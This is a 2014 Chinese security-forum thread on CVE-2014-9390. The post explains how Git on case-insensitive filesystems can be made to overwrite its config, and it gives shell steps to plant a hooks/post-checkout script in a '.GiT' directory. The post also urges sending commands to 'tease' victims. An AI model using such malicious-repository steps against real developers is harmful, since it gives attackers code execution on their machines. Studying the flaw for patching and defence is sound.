查看: 10735|回复: 2

Git客户端命令执行漏洞(CVE-2014-9390 )

[复制链接]
  • TA的每日心情
    慵懒
    2022-4-16 15:45
  • 签到天数: 247 天

    [LV.8]以坛为家I

    发表于 2014-12-21 10:32:08 | 显示全部楼层 |阅读模式
    参考资料
    http://github.com/blog/1938-git-client-vulnerability-announced
    http://www.secpulse.com/archives/3420.html

    漏洞成因

    The vulnerability concerns Git and Git-compatible clients that access Git repositories in a case-insensitive or case-normalizing filesystem. An attacker can craft a malicious Git tree that will cause Git to overwrite its own .git/config file when cloning or checking out a repository, leading to arbitrary command execution in the client machine. Git clients running on OS X (HFS+) or any version of Microsoft Windows (NTFS, FAT) are exploitable through this vulnerability. Linux clients are not affected if they run in a case-sensitive filesystem.
    以上是原文,如果你E文也不好,那就参考我的理解: windows和osx使用的文件系统(NTFS、FAT)不区分文件名的大小写,而Linux则区分。根据这个特性可以在Linux下创建一个大小写区别的.git文件夹,进而覆盖.git的配置文件,从而导致任意命令执行。

    测试例子

    打开http://gitcasefail.googlecode.com/svn/trunk/这个谷歌代码仓库,可以看到有一个.git和一个.Git目录,关键是.Git这个目录,在里面的hooks目录里面有个post-checkout文件,这个就是导致命令执行的文件。 然后我们直接通过以下命令测试,如果命令执行则说明漏洞存在:
    [AppleScript] 纯文本查看 复制代码
    git clone [url]http://gitcasefail.googlecode.com/svn/trunk/repo/[/url]


    漏洞利用

    我们进入Linux系统,然后初始化一个git目录,通过'ls -al'可以看到有.git目录,然后呢,直接创建.gIt文件夹并创建利用脚本:
    [AppleScript] 纯文本查看 复制代码
    mkdir .GiT
    cd .GiT
    mkdir hooks
    cd hooks
    touch post-checkout
    echo whoami>post-checkout

    然后发布代码,测试成功后即可发命令给对方进行调戏了~~
    回复

    使用道具 举报

  • TA的每日心情
    奋斗
    2017-8-21 09:22
  • 签到天数: 181 天

    [LV.7]常住居民III

    发表于 2014-12-23 09:37:38 | 显示全部楼层
    我最喜欢调戏了
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-12-31 16:59:36 | 显示全部楼层
    不错  赞一个
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-6-18 01:52 , Processed in 0.025526 second(s), 15 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部